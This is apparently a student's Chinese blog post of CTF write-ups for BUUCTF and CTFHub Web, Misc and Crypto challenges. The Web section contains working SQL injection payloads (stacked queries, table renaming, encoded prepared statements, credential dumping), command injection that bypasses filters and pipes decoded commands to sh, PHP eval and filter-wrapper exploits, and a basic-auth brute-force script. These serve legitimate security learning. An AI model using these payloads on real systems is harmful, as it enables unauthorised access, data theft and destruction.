前言

学期结束,暑假开始,博客也开始正常更新。
差不多就是一周一篇CTF题记,一篇漏洞原理的知识,外加随便一篇。

Web

Web类的题目是在BUUCTF挑选的。

[强网杯 2019]随便注

查看源码,看到sqlmap是没有灵魂的应该不能使用sqlmap,先尝试其他的办法。
直接提交1
m0re
然后判断闭合,输入单引号报错,可以判断是字符型SQL注入。
1' order by 3#
判断列数,到3已经报错了,说明只有2列。
然后先试试联合查询注入
m0re
正则匹配过滤URL中的select、upload、where还有"."等,尝试大小写绕过,失败。
所以尝试下报错注入,payload

1
1' and extractvalue(0x0a,concat(0x0a,(database())))#

这个跟我常用的不一样,我以前常用的报错注入payload里面是包含了select的,所以有找了一个没有过滤内容的payload来进行绕过。
m0re
数据库名是supersqli
然后就卡住了,查看前面师傅们的wp,了解到了堆叠注入。
先了解一下……

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

当然堆叠注入还有一定的局限性,这个以后遇到再进行学习。
payload

1
0';show databases;#

m0re
爆出来六个数据库名。
然后查看所有的表

1
0';show tables;#

m0re
查看表中字段

1
0';desc words;#

m0re
好像是没有什么有效信息,再看另一个

1
2
0';desc `1919810931114514`;#
#注释字段名是数字,查看时用 ` 包起来

m0re
这个查询flag的方式才是需要解决的。
然后看了一个师傅的wp是这么写的,正则过滤没有过滤alert和rename这两个,所以可以使用这两个功能来实现一波骚操作

1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data

有两个payload,我都进行尝试但是结果没有出flag。先贴一下payload

1
2
3
4
#第一个
?inject=1’; ALTER TABLE `words` CHANGE `flag` `data` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
#第二个
?inject=1’;rename table `words` to` word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

结果一样,
m0re
emmm,我又查看了一遍,发现没修改成功,
m0re
不知道是什么原因,emmm不慌,还有一种方法:
PHP中mysql预处理,,不知道,先学习一下
参考博客——🔑MySQL的SQL预处理(Prepared)
语法:

1
2
3
4
5
6
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

在mysql命令行中看下
m0re
真是tql
m0re
然后就可以做题了。下面的payload可以用。

1
?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

这个是拼接的十六进制数字,将那一串数字转换为16进制。
还有一种方法可以将其转换为ascii码然后在进行转换

1
1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

喔,666
m0re
膜拜大佬,这方法也太强了。

技能树HTTP协议基础认证

j4y
浏览过一遍网页后,开启代理。点击click进行抓包。
j4y
用户输入admin 密码随机123
j4y
找了好久发现这里是输入的用户名和密码。它是进行了base64加密了。所以就需要将字典文件也进行加密。使用大佬写的python脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
# 字典文件路径
dic_file_path = './10_million_password_list_top_100.txt'
with open(dic_file_path, 'r') as f:
password_dic = f.readlines()

username = 'admin:' # 用户名
for password in password_dic:
str1=str.encode(username + password.strip())
encodestr = base64.b64encode(str1)
encodestr=str(encodestr)
encodestr=encodestr.strip('b\'')
encodestr=encodestr.replace("=","\=") #避免“=”被转译
print(encodestr)

然后复制一下运行出来的密码
j4y
重新写一个txt字典文件。进行爆破。
j4y
然后查看response
j4y

技能树目录遍历

第一个办法:傻瓜式操作,一个个找。(位置好像是随机的,可以自己找找)
m0re
第二种方法:脚本查询
使用request库进行查询

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://challenge-4d716e1afe267765.sandbox.ctfhub.com:10080/flag_in_here/"

for i in range(5):
for j in range(5):
url_test =url+"/"+str(i)+"/"+str(j)
r = requests.get(url_test)
r.encoding = 'utf-8'
get_file=r.text
if "flag.txt" in get_file:
print(url_test)

m0re
然后直接访问URL得到flag

bak文件

m0re
这个用dirsearch扫描,
m0re
等它跑一会儿,等到index.php的时候ctrl+C就可以停下来了,不然太多。
m0re
然后访问就可以下载了,打开文件
m0re

[极客大挑战 2019]EasySQL

界面挺帅的,黑色系列。判断一下闭合符号,发现是单引号闭合的字符型注入。
m0re
这样的登录框,首先应该想到的是万能密码,先看看能不能登录,如果能登陆再看看有没有有效信息,如果没有信息再进行寻常的注入。
这个是个简单的注入,所以万能密码就可以直接得到flag了

1
admin' or 1=1 #

m0re

1
flag{a3fe1ac7-493c-4546-9aeb-5a244f6f254c}

[极客大挑战 2019]Havefun

查看源码,这个好像没什么难度吧。
m0re
直接出来了。
m0re

[RoarCTF 2019]Easy Calc

m0re
查看源码注释说有waf,然后访问源码中提示的calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

这个就是waf的规则了。需要绕过num,

php的解析规则:当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析

所以进行绕过只需要在num前面加上空格就OK了,num进行过滤,但是 num前面加上空格就没有问题了,waf就不会管num之外的东西。
查看目录,使用ascii码绕过

1
? num=1;var_dump(scandir(chr(47)))

m0re
看到一个flagg的

1
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

查看到flag是
m0re
方法二:http请求走私
这个看学长总结了,看着有点头大,还是以后基础扎实点了再学这个吧。

[极客大挑战 2019]Secret File

第一步:f12
m0re
第二步:点击跳转到另一个页面
m0re
中间跳转了,所以需要抓包分析
m0re
找到了,然后访问
m0re
可以看出,flag.php可=可能有东西,先访问一下(虽然知道肯定没有结果)
m0re
现在再来看上面的那个代码,是PHP伪协议的源代码,这里可以使用PHP伪协议,但是看到有过滤,过滤了带有tp的,还有input、data找一个没有过滤的伪协议进行解题。选择filter
payload

1
?file=php://filter/convert.base64-encode/resource=flag.php

m0re
base64解码,
m0re
ha,这个结果出乎意料,试了几次发现解码问题
m0re

[极客大挑战 2019]LoveSQL

post类型表单注入,先尝试万能密码

1
admin' or 1=1#

m0re
可以看出是字符型注入,单引号闭合,接下来可以查询列数

1
order by 4#

到四报错,判断有三列。
m0re
爆数据库名

1
-admin' union select 1,2,database()#

m0re
数据库名为geek

1
-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

m0re
题目是loveSQL,所以猜测flag可能在l0ve1ysq1中。
然后就是爆字段

1
-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

m0re
这个跟sqli-labs第一关几乎一样的。

1
-admin' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#

m0re
就能找到flag

1
flag{d96f20f0-79fe-4a7a-998b-4cb9ebf4902b}

[GXYCTF2019]Ping Ping Ping

这个题也是很有意思,可能有点linux基础的做起来更容易理解一点。
开启环境,是让/?ip,这样可以看出来是让在后面加上IP地址,然后考点应该是命令执行漏洞,先尝试127.0.0.1
m0re
ping成功了,然后就可以构造我们的命令执行漏洞的payload了

1
?ip=127.0.0.1|ls

查看当前目录下的文件
m0re
然后就是cat一下看看内容。
但是发现好像有过滤
m0re
空格被过滤了。关于命令执行漏洞的各种绕过,我刚学习总结一篇新的博客🥠——命令执行漏洞的各种绕过方式
我选择$IFS绕过

1
?ip=127.0.0.1|cat$IFSflag.php

m0re
flag也被过滤了,先查看一下index.php里面的内容。使用$IFS过滤好像没有什么内容返回,尝试一下使用$IFS$1
m0re

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

可以看出,这个是过滤了许多标点,空格,bash,包括flag的贪婪匹配
绕过方法可以使用变量拼接

1
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

m0re
当然还有其他的方式,就不一一演示了。

1
2
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh		绕过bash,使用sh同样可行
/?ip=127.0.0.1;cat$IFS`ls` #内联执行的做法:

Misc

[WUSTCTF2020]alison_likes_jojo

信息就是:两张图片,还有题目描述,不过我没发现这个有什么作用。
文件中隐藏了压缩包,foremost分离得到压缩包,尝试进行爆破
m0re
得到文件中是一串base64编码,而且文件名也说明了就是beisi

1
2
3
4
WVRKc2MySkhWbmxqV0Zac1dsYzBQUT09
YTJsc2JHVnljWFZsWlc0PQ==
a2lsbGVycXVlZW4=
killerqueen

一直解下去就得到了最终结果。
然后提交了发现不对。😅
m0re
然后看了眼wp,好像是outguess
m0re
桌面生成的hidden.txt打开就是flag了
以后要多长个心眼了。

[SUCTF2018]single dog

这个没什么绕的,就是一个新知识,aaencode解密
在线网站——🔑传送门
m0re

[SUCTF 2019]Game

图片好像是没有隐藏文件的,所以先放着,看文件夹里的文件。
找到HTML,看源码
m0re
这个是base32编码,就进行解密得到
m0re
但是,这个不对。是个假的flag。还是要去看图片。’
图片现在能想到的就是只有LSB隐写了。
m0re
是DES加密,看一个大佬的博客说是U2FsdGVkX1开头的加密基本都是DES加密。然而需要密码。
刚得到的假flag就是密码,看wp的时候也要仔细啊,DES和3DES也是不一样的。害我刚试了好多遍怎么都解不出来,就是不认真的结果。
m0re

2020网鼎杯朱雀组——九宫格

emmm,脚本题
思路:先用二维码扫描工具进行扫描,试了几个发现都是zero或者one,猜想应该是二进制什么的。这个图片很多,需要用到脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import zxing
import os

filepath = r"#QRcode文件夹所在的绝对路径#"
l = os.listdir(filepath)
l.sort(key=lambda x:int(x[:-4]))

t = ''
for i in l:
reader = zxing.BarCodeReader()
barcode = reader.decode(filepath+"\\"+i)
print(barcode.parsed)
if(barcode.parsed == 'zero'):
t = t + '0'
else:
t = t + '1'

print(t)

m0re
上面用到一个第三方库需要自己安装zxing,简单的直接使用pip安装就行。
然后二进制转文本,找个在线网站转一下,然后是rabbit加密
呃呃呃呃,不过我好像没有看到有提示,,,,百度的wp都说有提示,这道题是我在CTFhub上做的,没发现提示,然后找到个师傅的wp说是九宫格有关的,还是直接附上博客地址叭。参考博客
然后得到flag,看过之后觉得这个需要有点脑洞的的。

本题总结:脚本比较慢,可以加上多线程,😂学的浅,目前还不会改脚本,不过多线程的确可以提快很多。还有就是这个好像是有个工具可以批量扫描二维码的,我看wp的时候有个师傅的图是批量转换的,没用脚本。不过没找到这个工具。

[GUET-CTF2019]zips

解压,得到压缩包,再次解压,有密码,爆破得到密码,解压,无果。010editor查看,发现伪加密。(或者ZipCenOp,.jar清除伪加密,使用方法请百度。)解压得到脚本,记事本打开是python脚本。python2的,需要用2的版本进行运行。运行后发现是一堆掩码(查过百度后知道的),格式是??????????.??用ARCHPR进行掩码破解,参数设置百度找了好久没找到,还是自己摸索摸索。
m0re
这样,攻击类型选择掩码,设置一下掩码选项(P:最近眼神有点不好使,总看错东西,这个是没有看到)
进行破解就行,数字有点大,破解的有点慢。密码:1558080832.15
解压得到flag
m0re

我吃三明治

图片,没有备注什么的,先foremost分离一下,看到两张图片,都是三明治,emmm有点不一样的,一张图里面藏了两张图。010editor看看,搜索图片位置,连接处好像有段编码。
m0re
像是base32,解码得到flag

[MRCTF2020]CyberPunk

呃呃呃,原本没看懂啥意思,原来是需要将电脑上的日期改为发行日期就行了。也就是改成2020.9.17
其他没什么可说的

[WUSTCTF2020]girlfriend

听起来是按键音吧,之前做过这样的题,是按键音的。工具是dtmf2,下载地址可参考我之前写的博客——(CTF题记——再战GK、BUU),或者自行百度
m0re
然后根据九键键盘对照一下
m0re
😂出题人还挺花心的,这么多girlfriend

[HBNIS2018]来题中等的吧

第一步:foremost
第二步:010editor
第三部:stegsolve
全都没发现任何信息😂
m0re
然后仔细看图片内容,发现是摩斯密码,可以直接写出来。
m0re
就是flag了。挺简单一道题给想多了。

Crypto

[NCTF2019]Keyboard

键盘密码

1
ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee

可以看出这些字母都是在键盘上的最上面那一行的。而且再往上看,是数字。一个字母对应一个数字。0-9,然后又是这种格式的,明显是在九键键盘上再进行解题。比第一个o=9,第九个键的第三个是y
m0re
然后用脚本继续解

1
2
3
4
5
6
7
8
9
cipher = 'ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee'
s = ' qwertyuiop'
d = ['', '', 'abc', 'def', 'ghi', 'jkl', 'mno', 'pqrs', 'tuv', 'wxyz']

for part in cipher.split(' '):
# print(part)
count = len(part)
num = s.index(part[0])
print(d[num][count - 1], end='')

解出是

1
youaresosmartthatthisisjustapieceofcake

加上flag就行了。

总结:看到键盘密码必须要想到两种键盘,并且数字字母之间的关系要多理解。

[GXYCTF2019]CheckIn

题目只有一串base64编码

1
dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==

解出来是一串乱码

1
v)*L*_F0<}@H0>F49023@FE0#@EN

然后就是各种密码,猜……凯撒,解不出来。
不知所措,Google一下大佬的wp,是rot47
m0re
这,,,怎么没有想到rot的其他加密,害脑洞太小。
思考:很乱的字符串,特别是有*#@等字符,优先考虑移位的密码。rot家族的其他成员不能忘了。

这周就这吧,不写了。玩游戏放松放松去。